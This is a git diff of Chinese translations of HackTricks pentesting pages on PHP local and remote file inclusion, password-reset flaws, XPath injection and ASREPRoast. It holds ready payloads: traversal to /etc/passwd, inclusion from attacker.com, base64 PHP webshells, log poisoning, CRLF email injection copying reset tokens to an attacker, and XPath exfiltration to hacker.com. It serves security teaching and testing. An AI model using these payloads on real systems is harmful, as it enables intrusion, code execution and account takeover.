当用户以某种方式控制将服务器加载的文件时,就会发生此漏洞。
易受攻击的 **PHP 函数**require, require\_once, include, include\_once
@ -77,7 +77,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
http://example.com/index.php?page=../../../etc/passwd
```
### 非递归剥离遍历序列
### 非递归剥离遍历序列
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -85,7 +85,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **空字节 (%00)**
绕过在提供的字符串末尾附加更多字符的限制(绕过:$\_GET\['param']."php"
绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -106,15 +106,15 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 在服务器上探索文件系统目录
### 探索服务器上的文件系统目录
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。这个过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法:
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度适用于基于Linux的服务器。一个示例URL可能结构如下表示深度为三
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **探测文件夹:**可疑文件夹的名称(例如,`private`)附加到 URL然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个:
2. **探测文件夹:**怀疑的文件夹名称(例如,`private`)附加到 URL然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -129,15 +129,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **路径截断技术**
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
路径截断是一种用于操纵 web 应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
在PHP中由于文件系统的性,文件路径的各种表示可以被视为等效。例如:
PHP 中,由于文件系统的性,文件路径的各种表示可以被视为等效。例如:
* `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`和`/etc/passwd/`都被视为相同的路径。
* 当最后6个字符为`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
* 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。
* `/etc/passwd`、`/etc//passwd`、`/etc/./passwd` `/etc/passwd/` 都被视为相同的路径。
* 当最后 6 个字符为 `passwd` 时,附加一个 `/`(使其变为 `passwd/`)不会改变目标文件。
* 同样,如果在文件路径后附加 `.php`(如 `shellcode.php`),在末尾添加 `/.` 不会改变正在访问的文件。
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
提供的示例演示了如何利用路径截断访问 `/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -150,10 +150,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
在这些场景中所需的遍历次数可能在2027左右但这个数字可能会根据服务器的配置而有所不同。
* **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
* **确定所需的遍历次数**:通过反复试验,可以找到精确`../`序列数量,以导航到根目录,然后到`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
* **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录所需的精确`../`序列数量,然后到`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
* **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法,通常需要测试以找到最有效的方法
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式
**此漏洞在PHP 5.3中已被修复。**
@ -167,12 +167,12 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
在php中这默认是禁用的因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,您可以从您的服务器包含一个PHP文件并获得RCE
在php中这默认是禁用的因为 **`allow_url_include`** 是 **关闭的。** 它必须是 **开启的** 才能工作,在这种情况下,你可以从你的服务器包含一个PHP文件并获得RCE
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议和 base64 来解码 b64 PHP 代码并获得 RCE
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议和 base64 来解码一个 b64 PHP 代码并获得 RCE
{% code overflow="wrap" %}
```
@ -194,7 +194,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
## Python 根元素
Python 中,像这样的代码:
python 中,像这样的代码:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -214,7 +214,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## 前25个参数
以下是可能容易受到本地文件包含LFI漏洞影响的前25个参数列表来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)
以下是可能受到本地文件包含LFI漏洞影响的前25个参数列表来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)
```
?cat={payload}
?dir={payload}
@ -315,11 +315,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
* 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
* 这将用于生成一个 **当初始字母正确猜测时非常大的文本**,以至于 php 会触发一个 **错误**
* **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
* 这与前一个(以及其他根据猜测字母的过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将导致 php 错误
* 这与前一个结合以及其他根据猜测字母的过滤器将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将使 php 出错
* 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母因此在此编码后a -> b。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g该字母不再是十六进制字符因此 dechunk 不会删除它php 错误被触发,因为它与初始炸弹相乘。
* 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r其他编码可以用将其他字母移动到十六进制范围)。
* 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r其他编码可以用将其他字母移动到十六进制范围)。
* 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
* 最后一个问题是查看 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在第一位置获取文本的其他字母。
* 最后一个问题是查看 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
* 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位。
在文章中还泄露了一种自动执行此操作的工具:[php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit)。
@ -378,7 +378,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
一个 `.phar` 文件可以在网络应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
```php
<?php
$phar = new Phar('test.phar');
@ -393,7 +393,7 @@ php --define phar.readonly=0 create_path.php
```
在执行时,将创建一个名为 `test.phar` 的文件这可能被利用来利用本地文件包含LFI漏洞。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件关。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件关。
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅以下链接的文档:
@ -405,13 +405,13 @@ php --define phar.readonly=0 create_path.php
### CVE-2024-2961
可以滥用 **任何支持 php 过滤器的 PHP 中的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
可以滥用 **任何支持 PHP 过滤器的任意文件读取** 来获得 RCE。详细描述可以在 [**这篇文章中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常简要的总结:在 PHP 堆中滥用 **3 字节溢出****更改特定大小的空闲块链**,以便能够 **在任何地址写入任何内容**,因此添加了一个钩子来调用 **`system`**。\
可以通过滥用更多的 php 过滤器来分配特定大小的块。
可以通过滥用更多 PHP 过滤器来分配特定大小的块。
### 更多协议
查看更多可能的 [**协议以包含在**](https://www.php.net/manual/en/wrappers.php)****
查看更多可能的 [**协议以包含在这里**](https://www.php.net/manual/en/wrappers.php)****
* [php://memory 和 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
@ -440,7 +440,7 @@ assert("strpos('$file', '..') === false") or die("");
```
重要的是要**对这些有效载荷进行URL编码**。
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -451,9 +451,9 @@ assert("strpos('$file', '..') === false") or die("");
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
及时了解最新的漏洞赏金计划和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)今天就开始与顶级黑客合作
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶级黑客开始合作!
## PHP盲路径遍历
@ -482,9 +482,9 @@ assert("strpos('$file', '..') === false") or die("");
如果Apache或Nginx服务器在包含函数中**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell如**`<?php system($_GET['c']); ?>`**并包含该文件。
{% hint style="warning" %}
请注意,**如果您使用双引号**而不是**单引号**来编写shell,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出错误**,并且**不会执行其他任何内容**。
请注意,如果您为shell使用双引号而不是单引号,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出错误**,并且**不会执行其他任何内容**。
此外,请确保**正确编写有效载荷**否则每次PHP尝试加载日志文件时都会出错您将没有第二次机会。
此外,请确保**正确编写有效载荷**否则每次PHP尝试加载日志文件时都会出错您将没有第二次机会。
{% endhint %}
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码并在日志中解码。PHPShell可以插入到此头部中。\
@ -508,7 +508,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 通过 /proc/\*/fd/\*
1. 上传大量 shell例如100
1. 上传大量 shell例如100
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID可以暴力破解$FD 是文件描述符(也可以暴力破解)
### 通过 /proc/self/environ
@ -565,15 +565,15 @@ FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地
### 通过 php base64 过滤器(使用 base64
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
如 [这篇](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64它会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### 通过 php 过滤器(无需文件)
### 通过 php 过滤器(不需要文件)
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而无需将其写入** 文件。
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而不需要将其写入** 文件。
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -581,7 +581,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### 通过段错误
**上传** 一个将被存储为 **临时** 文件`/tmp`,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件将不会被删除**,你可以搜索它。
**上传** 一个将被存储为 **临时**`/tmp` 的文件,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件将不会被删除**,你可以搜索它。
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
@ -632,7 +632,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### 通过 phpinfo() (file\_uploads = on)
如果你发现了 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 的文件,且 file\_uploads = on你可以获得 RCE
如果你发现了 **本地文件包含** 和一个暴露 **phpinfo()** 的文件,且 file\_uploads = on你可以获得 RCE
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -640,7 +640,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径**,但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
如果你发现了 **本地文件包含**并且你 **可以提取临时文件的路径**,但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
@ -648,7 +648,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
### 通过永恒等待 + 暴力破解
如果你可以利用 LFI 来 **上传临时文件** 并使服务器 **挂起** PHP 执行,你可以 **在数小时内暴力破解文件名** 找到临时文件:
如果你可以利用 LFI 来 **上传临时文件** 并使服务器 **挂起** PHP 执行,你可以 **在数小时内暴力破解文件名** 找到临时文件:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@ -658,7 +658,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。 (你需要包含同一个文件两次以引发该错误)。
**我不知道这有什么用,但可能会有。**\
**我不知道这有什么用,但可能会有。**\
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -670,7 +670,7 @@ _即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -681,21 +681,21 @@ _即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
了解最新的漏洞赏金计划和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,7 +28,7 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)与顶尖黑客开始合作吧
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)今天就开始与顶级黑客合作
## **通过引荐人泄露密码重置令牌**
@ -79,7 +79,7 @@ POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* 使用 bcc 将攻击者电子邮件作为第二个参数添加
* 使用bcc将攻击者电子邮件作为第二个参数添加
```php
POST /resetPassword
[...]
@ -151,7 +151,7 @@ POST /api/changepass
{% endcontent-ref %}
* **缓解步骤**
* 使用GUID版本4以获得随机性,或对其他版本实施额外的安全措施。
* 使用GUID版本4以确保随机性,或对其他版本实施额外的安全措施。
* **工具**:使用[guidtool](https://github.com/intruder-io/guidtool)分析和生成GUID。
## **响应操纵:用好响应替换坏响应**
@ -198,18 +198,18 @@ POST /api/changepass
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激挑战的内容
参与深入探讨黑客的刺激挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
及时了解最新的漏洞赏金发布和重要平台更新
了解最新的漏洞赏金启动和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,7 +28,7 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
## 基本语法
@ -81,7 +81,7 @@
* **/bookstore/\***:选择 bookstore 元素的所有子元素节点。
* **//\***:选择文档中的所有元素。
* **//title\[@\*]**:选择所有至少具有一个任意类型属性的 title 元素。
* **//title\[@\*]**:选择所有至少具有一个属性的 title 元素。
## 示例
```xml
@ -131,7 +131,7 @@ count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### 识别与窃取模式
### 识别与窃取架构
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
@ -173,7 +173,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **在用户和密码中的OR绕过(两者值相同)**
### **OR 绕过用户和密码(两者值相同)**
```
' or '1'='1
" or "1"="1
@ -188,9 +188,9 @@ Select the account using the username and use one of the previous values in the
```
Username: ' or 1]%00
```
### **在用户名或密码中使用双重OR**(仅在一个脆弱字段有效)
### **在用户名或密码中使用双重OR**(仅在一个脆弱字段有效)
重要提示:注意**“and”是第一个执行的操作**。
重要提示:注意**“and”是第一个执行的操作**。
```
Bypass with first match
(This requests are also valid without spaces)
@ -288,13 +288,13 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## 参考文献
## 参考资料
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -302,7 +302,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
通过实时新闻和见解,保持对快速变化的黑客世界的了解
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
@ -318,7 +318,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -23,16 +23,16 @@
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
通过实时新闻和见解,保持对快速变化的黑客世界的了解
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们,进入** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
## ASREPRoast
ASREPRoast 是一种安全攻击,利用缺乏 **Kerberos 预身份验证所需属性** 的用户。实质上,这个漏洞允许攻击者向域控制器 (DC) 请求用户的身份验证而无需用户的密码。然后DC 会用用户密码派生的密钥加密消息进行响应,攻击者可以尝试离线破解以发现用户的密码。
ASREPRoast 是一种安全攻击,利用缺乏 **Kerberos 预身份验证所需属性** 的用户。基本上,这个漏洞允许攻击者向域控制器 (DC) 请求用户的身份验证而无需用户的密码。然后DC 会用用户密码派生的密钥加密消息进行响应,攻击者可以尝试离线破解以发现用户的密码。
此攻击的主要要求是:
@ -52,6 +52,8 @@ Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
```bash
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```
{% endcode %}
#### 请求 AS\_REP 消息
{% code title="使用 Linux" %}
@ -115,7 +117,7 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
